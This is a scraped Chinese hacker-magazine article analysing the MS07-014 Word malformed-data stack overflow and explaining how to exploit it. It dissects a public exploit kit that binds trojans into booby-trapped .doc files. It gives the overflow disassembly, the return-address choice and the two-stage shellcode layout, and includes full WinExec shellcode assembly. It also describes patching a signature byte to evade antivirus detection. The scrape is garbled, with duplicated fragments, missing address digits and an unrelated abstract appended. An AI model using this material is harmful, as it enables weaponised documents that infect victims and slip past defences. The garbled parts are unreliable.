漏洞攻防 EXPLOIT ATTACK & DEFENCE 栏目编辑脚本小子 scriptsboy@hacker.com.cn HEAD 部分大小当然也就是固定的 18200H 如果要提取出 HEAD, 我们可以选中前 18200H 字

Size: px

Start display at page:

Download "漏洞攻防 EXPLOIT ATTACK & DEFENCE 栏目编辑脚本小子 scriptsboy@hacker.com.cn HEAD 部分大小当然也就是固定的 18200H 如果要提取出 HEAD, 我们可以选中前 18200H 字"

秀祀史
7 years ago
Views:

1 适合读者 : 入侵爱好者溢出爱好者前置知识 : 汇编语言缓冲区溢出基本原理文 / 图何永强 Word 畸形数据结构溢出漏洞分析与利用以前都是写远程溢出漏洞, 感觉也该换换口味了事实上,2005 年以来的远程溢出漏洞, 如 MS MS MS 等, 都受限于个人防火墙而难以在网上广泛传播, 影响力已大不如从前取而代之的, 以 Office WinRAR PDF 漏洞为代表的文件格式溢出漏洞却被积极利用本文所讲述的就是一个 Word 畸形数据结构溢出漏洞 (MS07-014), 文章内容分为漏洞简介样本剥析漏洞技术细节利用限制及扩展应用防杀处理与 /GS 保护五部分下面我就逐一介绍, 不足之处还请大家指正漏洞简介该漏洞在微软的补丁编号是 MS07-014, 但 MS 同时补了好几个漏洞, 因此我们一般参考 CVE 上的唯一编号 :CVE , 如图 1 所示大家关注的是 WordExp.exe 生成之后的利用文档尽管这样的文档会被 Symantec KIS 等防护软件查杀, 但起码为大家提供了一个不错的分析样本这里所说的样本, 就是指通过该 exp 生成的利用文档我们分析的目标, 就是看清样本中木马的位置及编码 ShellCode 的位置及形式漏洞技术细节漏洞利用限制灵活添加自己的 ShellCode, 以及如何免杀样本剥析我们用 WordExp.exe 在样本中绑定一个计算器 (calc.exe) 来进行分析, 如图 3 所示点击打开后, 生成了利用文档, 我们命名为 test.doc 为了便于说明, 我们再用二进制编辑工具打开 test.doc 二进制编辑工具有 UltraEdit WinHex 等, 这里推荐功能更全面的 WinHex tst.doc 打开后如图 4 所示图 1 根据漏洞公告介绍, 该漏洞是由 Winword.exe 文档表格处理过程中对数据长度验证不足引起的, 主要针对 Word 2003 本文中所有测试均在 Windows XP SP2+Office 2003 SP2 下进行, 技术细节将在后面讨论漏洞的利用工具 ( 下文简称 exp) 在网上已有公布, 具体下载地址是 zhly/16237.html?3npzd1=uchnxsdmxm, 下载该 exp, 发现它主要包含 2 个工具, 如图 2 所示其中的 doc 捆绑器的功能是将单独木马程序与一个可以正常打开的 doc 文档绑定成一个大 exe 文件, 这个大 exe 文件执行的时候, 将分别释放并打开里面的木马程序以及正常的 doc 文件 ;WordExp 功能是将一个 exe 文件与漏洞模板 (HEAD) 相绑定为最终的漏洞利用文档, 这个 exe 文件可以是单独的木马, 也可以是前面的 doc 捆绑器生成的大 exe 文件图 2 图 3 图 4 单击 Offset 这一列中的任何位置, 可以把文件偏移值显示在十进制和十六进制之间切换, 本文以十六进制形式显示由于绑定的 exe 文件大小是不限制的, 而样本 HEAD 大小固定, 因此肯定是将该 exe 接在 HEAD 的后面, 而不是夹在中间拖动滚动条, 我们不难看出 exe 文件数据位于 18200H 开始的位置, 如图 5 所示 C5 D 是 4D 5A 异或 88H 后所得, 也就是整个 exe 是通过 XOR 88H 编码而成, 而 HACKER DEFENCE ww w.h acke r.c om 黑客防 cn 线 19

(MS07-014), 文章内容分为漏洞简介样本剥析漏洞技术细节利用限制及扩展应用防杀处理与 /GS 保护五部分下面我就逐一介绍, 不足之处还请大家指正漏洞简介该漏洞在微软的补丁编号是 MS07-014, 但 MS07-014 同时补了好几个漏

2 漏洞攻防 EXPLOIT ATTACK & DEFENCE 栏目编辑脚本小子 HEAD 部分大小当然也就是固定的 18200H 如果要提取出 HEAD, 我们可以选中前 18200H 字节, 然后右键选择 Copy Block-->Into new file, 保存就可以了, 如图 6 所示图 5 图 6 至于 ShellCode, 在 HEAD 中分为两部分, 分别位于 F722H 和 16730H, 如图 7 和图 8 所示图 7 图 8 ShellCode 第一部分包括了导致溢出的数据跳转地址 ShellCode 自身等, 这部分长度是有限的, 放不下所有的 ShellCode, 所以需要将 ShellCode 分为两部分来存放样本中 ShellCode 的整体功能是释放并执行 exe 文件漏洞技术细节上面我们对样本进行了初步的分析, 下面我们来讨论漏洞技术细节这是一个典型的堆栈溢出漏洞, 导致溢出的数据分为数据长度 + 数据体数据体的 copy 等处理是根据前面的数据长度来进行的对溢出漏洞比较了解的朋友知道, 这是文件类堆栈溢出漏洞的典型方式好了, 我们还是通过逆向工程来看看相关的反汇编代码反汇编工具推荐功能强大的 IDA PRO, 最新版本是 5.1( 据说可以分析出 exe 文件 C 源代码 ), 本文使用 5.0 版本至于待分析的 Winword.exe, 我们将补丁打到 MS 之前的版本, 也就是 , 而现在最新的版本是那么如何看 Word 的版本号呢? 点击帮助菜单下的关于 Microsoft office word 就可以看到了 PowerPoint 和 Excel 的版本也是如此查看漏洞相关的反汇编代码主要有以下 3 部分, 我们分别对其进行说明覆盖 1) 堆栈溢出发生的函数, 该函数的返回地址被 sub_ f: E mov ecx, [ebp-4] test ecx, ecx jz loc_30379e push edi A xor eax, eax C lea edi, [ebp -10H] F stosd stosd stosd lea eax, [ebp-10h] push eax push [ebp+18h] mov [ebp-8], ecx C push [ebp+14h] F mov [ebp-0ch], esi A2 push [ebp+10h] A5 push [ebp+0ch] A8 push [ebp+8] AB call sub_300322cc ; 函数 sub_300322cc 中发生了 copy 数据并覆盖了函数 sub_ f 的返回地址,sub_300322CC 在 B 部分介绍 B0 test ebx, ebx B2 mov esi, eax B4 pop edi B5 jz loc_300504ca BB push [ebp-4] BE call MsoReleaseMemCore(x) C4 pop ebx C5 mov eax, esi C7 pop esi C8 leave C9 retn 14h ; 由于返回地址已经在前面被覆盖, 这里返回后就触发漏洞了 2)sub_300322CC, 在该函数中发生了数据 copy, 20 ww w.h acke r.com. cn 黑客防线 HACKER DEFENCE

F722H 和 16730H, 如图 7 和图 8 所示图 7 图 8 ShellCode 第一部分包括了导致溢出的数据跳转地址 ShellCode 自身等, 这部分长度是有限的, 放不下所有的 ShellCode, 所以需要将 ShellCode 分为两部分来存放样本中 ShellCode 的

3 关键代码如下 sub_300322cc loc_300322fb: FB mov eax, [ebp+14h] ; 源数据地址, 即文件中输入的数据体 FE mov ecx, [ebp-40h] ; 已经 copy 的数据长度 add eax, ecx mov [ebp-50h], eax mov ax, [eax] mov [ebp-20h], eax C movzx eax, ax F shr eax, 0Ah and eax, cmp eax, [ebp-30h] mov [ebp-54h], eax B jz short loc_ d D mov [ebp-30h], eax mov eax, [ebp-18h] xor ebx, ebx xor esi, esi test eax, eax mov [ebp-0ch], eax C jle loc_ mov esi, [ebp-2ch] mov edx, [ebp-1ch] mov ecx, [ebp-18h] mov eax, [ebp+10h] C sub esi, edx E lea ebx, [esi+ecx] cmp ebx, eax jg loc_3037a mov edi, [ebp-10h] C lea eax, [edx+edi] F cmp ecx, eax jg loc_300506d cmp [ebp-2ch], B jle short loc_ e D mov eax, [ebp-08h] push [ebp-2c] ; size_t mov ecx, [ebp-14h] ; void *, 源数据当前 copy 到的位置 lea edx, [eax+edi] ; void * call sub_ ; 函数 sub_ 是对 memmove 函数的包装调用 E add [ebp-0ch], esi cmp [ebp-44h], mov [ebp-18h], ebx jnz loc_3037a0a E mov eax, [ebp-50h] movzx eax, word ptr [eax] shr eax, 0Dh mov eax, ds:dword_300f70f0 [eax*4] E test eax, eax jz loc_3019c6ed add [ebp-40h], eax mov eax, [ebp-40h] C cmp eax, [ebp+18h] ; 待 copy 数据的总长度, 也就是我们的数据长度 *2 所得 F jl loc_300322fb ;3 字节 3 字节循环 copy, 直到已经 copy 字节数达到设定的数据长度 mov eax, [ebp-18h] mov ecx, [ebp+0ch] B mov [ecx], eax D xor eax, eax F inc eax 3)sub_ , 对 memmove 函数的封装调用, 完成数据 copy 功能 sub_ push esi push edi mov edi, [esp+arg_0] : push edi ; size_t mov esi, edx B push ecx ; void * C push esi ; void * D call memmove; 实际是调用 memmove add esp, 0Ch lea eax, [esi+edi] pop edi pop esi A retn 4 当然, 上面我们只给出了数据体 copy 部分的汇编代码值得注意的是, 数据体并非简单的字符串, 它可能也是一个复杂的数据结构结构内部的数据处理尽管和漏洞的产生没有直接关系, 但却影响着漏洞的利用, 这一点在后面利用部分继续介绍此外, 有兴趣的朋友可以再通过回溯分析和补丁比较技术进一步了解补丁对这个漏洞究竟补在了什么地方, 补丁后的 winword.exe 的版本是 , 这里就不多介绍了利用限制及扩展应用谈到漏洞利用, 其实就是解决一个如何灵活添加我们自己的 ShellCode 的问题这个漏洞的利用是有一些限制条件的前面已经说到,ShellCode 在样本中分为两部分, 其中第二部分实现真正的功能, 我们称其为 SC2, 它可以独立出来灵活搬移下面重点说第一部分, 我们称其称为 SC1 大家再仔细看看图 7 中的阴影部分, 接在头两字节 6E 00 后面的是一个数据结构, 长度为 0x006E 2=0x00DC 这个数据结构中很多元素都是漏洞触发之前的程序处理中不可随意破坏的具体来说, 我们需要注意以下两个问题 1) 如何覆盖函数返回地址 HACKER DEFENCE ww w.h acke r.c om 黑客防 cn 线 21

[ebp-20h], eax 3003230C movzx eax, ax 3003230F shr eax, 0Ah 30032312 and eax, 7 30032315 cmp eax, [ebp-30h] 30032318 mov [ebp-54h], eax 3003231B jz short loc_3003237d 3003231D mov [ebp-30h], eax

4 漏洞攻防 EXPLOIT ATTACK & DEFENCE 栏目编辑脚本小子原本极其简单的一个问题, 在这里却不那么容易, 如图 9 所示后面的 14H 字节 ( 阴影部分 ), 直接指向后面的 0x00b 输入命令 d 00b85335, 结果如图 13 所示图 9 HEAD 中偏移 F7EDH 开始的 8 字节 FF 34 C , 这 8 字节先后覆盖了函数 SUB_ F 的 EBP 和 RET, 但它们恰恰也都是 Winword.exe 在解析文档时要用到的重要参数 EBP 我们可以就用原来的文件数据, 但返回地址 RET 关系到如何跳转到 ShellCode 的问题, 所以选择一定得小心如果我们将 RET 填充为 7FFA4512 这样的通用 JMP ESP 指令地址或者 0012XXXX 这样的具体堆栈地址的话, 漏洞就不会触发了也就是说, 传统利用方式不可行, 那如何是好? 因为我们已经拿到样本, 所以我就分析一下样本作者对这个问题的解决思路样本里填充的 RET 是 0x300033c3, 我们并不知道在作者修改之前的这 4 字节是什么, 所以只能先假定这个 4 字节就是原来文件中的原始数据接下来, 我们通过调试分析看看 SUB_ F 返回时堆栈的情况打开 Word 程序, 并用 Windbg 挂上该进程由于 SUB_ F 可能在程序中被多次调用, 所以为了准确定位, 我们须在 C9 retn 14h 设置条件断点 : bp C9 ''; 'gc'", 如图 10 所示图 10 关于 Windbg 的条件断点设置, 大家可以通过 F1 查看工具自带的帮助文档然后按 F5, 并双击打开 test.doc, 停到断点后, 结果如图 11 所示图 11 输入命令 d esp, 可以清楚地看到当前的堆栈数据, 如图 12 所示图 12 由于函数返回指令是 RET 14H, 该指令等效于下列两条指令 : Ret Sub esp, 14H 因此,ESP 指针在该指令执行后, 将跳过 C3 图 13 大家会惊喜地发现 00b85335 居然直接指向了 SC1! 那么解决思路就出来了, 既然不能填写传统的 JMP ESP 指令地址和具体的堆栈地址, 但如果将返回地址填写为 Winword.exe 中某段代码地址, 而这段代码执行到最后刚好有个 RET 指令的话,EIP 就直接跳到了我们可控制的内存数据 ( 也就是 ShellCode) 中了我猜测作者当时也是发现 00b85335 刚好指向 0x006e 后面的文件数据, 所以才想出这个思路来的在 xxxx 的 Winword.exe 中, 我们前面已经填写的 0x300033C3 就正好同时满足前面程序处理与后面 RET 的要求大家如果不用这个地址的话, 也可以尝试找找其它 RET 地址, 只不过要注意测试你找的值是否能触发漏洞罢了 2)SC1 的分布有了前面的基础, 我们可以这样理解, 由于数据结构中很多内容都不能修改, 所以 SC1 只能在其中一小片区域里存放但由于 00b85335 指向这片区域前面一些的位置, 所以还需要在前面的加上一点跳转地址指令, 这也就是为什么会有 EB 24 和 EB 29 这两条指令了具体而言,SC1 主体部分在 F776H 开始的几十个字节处, 如图 14 所示. 图 14 好了, 分析了漏洞利用的限制条件, 我们再看看如何添加我们自己的 ShellCode 首先跳转地址已经选定, 可以是 0x300033d4, 也可以找其它的同时,SC1 也仍然被采用, 它的功能是在内存中查找 SC2, 并跳转到 SC2 执行 SC1 查找 SC2 的标记是 , 也就是如果发现某片内存以开头的话, 就认为是 SC2 我们自己写的 ShellCode 只需要接在原来 SC2 的几个 90 后面就可以了为了测试方便, 我自己写了个通过 WinExec 函数直接启动计算器的通用的 ShellCode, 这个 ShellCode 可以 22 ww w.h acke r.com. cn 黑客防线 HACKER DEFENCE

30, 这 8 字节先后覆盖了函数 SUB_300 3224F 的 EBP 和 RET, 但它们恰恰也都是 Winword.

5 在以后的任何漏洞测试中直接用, 相应的汇编代码如下 // 计算 kernel32 mov eax,fs:0030h //PEB addr mov eax,[eax+0ch] mov esi,[eax+1ch] lodsd mov edi,[eax+08h] //kernel32.dll base // 通过导出表搜索 WinExec 地址 mov eax,[edi+3ch] //PE HEADER RVA mov edx,[edi+eax+78h] //export table RVA add edx,edi mov ebx,[edx+20h] // 函数名数组 RVA xor ecx,ecx find_winexec_loop: inc ecx mov esi,[ebx+ecx*4] add esi,edi mov eax,'eniw' cmp eax,[esi] jnz find_winexec_loop mov ax,'ex' cmp ax, WORD ptr [esi+4] jnz find_winexec_loop mov ebx,[edx+24h] mov cx,[ebx+ecx*2] mov ebx,[edx+1ch] mov eax,[ebx+ecx*4] add eax,edi //eax 为函数 WinExec 地址 // 调用该函数 call _WinExec //_EMIT 为指令一次定义, 但节约指令字节数 _EMIT 'C' _EMIT 'a' _EMIT 'l' _EMIT 'c' _EMIT '.' _EMIT 'e' _EMIT 'x' _EMIT 'e' _EMIT 0 _WinExec: pop ebx //ebx 为要执行的程序名指针, 如 calc.exe push 1 //SW_NORMAL push ebx call eax //WinExec nop nop 与以上代码对应的 WinExec.cpp 文件已在杂志相关中提供防杀处理与 /GS 保护由于该漏洞已经公布, 我们拿到的样本要被 KIS 查杀, 好在可以通过特征码定位技术找到特征码, 位置在 17CC2H, 将该字节由 02 改为 00 即可免杀此外, 大家可能还有个疑问,Office 2003 是否存在 /GS 保护其实,Office 2003 最初是由 VS2002 编译生成的, 也就是编译器是 7.0 版本, 而不是 7.1 (VS2003), 所以不存在 /GS 保护, 这个漏洞可以正常利用小结本文中, 我们分析了 MS 中的 Word 畸形数据结构溢出漏洞, 中间用到的分析技术都是比较基础的, 希望能对初学的朋友有所帮助文中内容难免有错漏之处, 还希望大家积极指正 HACKER DEFENCE ww w.h acke r.c om 黑客防 cn 线 23

mov esi,[ebx+ecx*4] add esi,edi mov eax,'eniw' cmp eax,[esi] jnz find_winexec_loop mov ax,'ex' cmp ax, WORD ptr [esi+4] jnz find_winexec_loop mov ebx,[edx+24h] mov cx,[ebx+ecx*2] mov ebx,[edx+1ch]

何秋琳张立春视觉学习研究进展视觉注意视觉感知

何秋琳张立春视觉学习研究进展视觉注意视觉感知第卷第期年月开放教育研究何秋琳张立春华南师范大学未来教育研究中心广东广州随着图像化技术和电子媒体的发展视觉学习也逐步发展为学习科学的一个研究分支得到研究人员和教育工作者的广泛关注基于此作者试图对视觉学习

漏 洞 攻 防 EXPLOIT ATTACK & DEFENCE 栏 目 编 辑 脚 本 小 子 scriptsboy@hacker.com.cn HEAD 部 分 大 小 当 然 也 就 是 固 定 的 18200H 如 果 要 提 取 出 HEAD, 我 们 可 以 选 中 前 18200H 字

漏洞攻防 EXPLOIT ATTACK & DEFENCE 栏目编辑脚本小子 scriptsboy@hacker.com.cn HEAD 部分大小当然也就是固定的 18200H 如果要提取出 HEAD, 我们可以选中前 18200H 字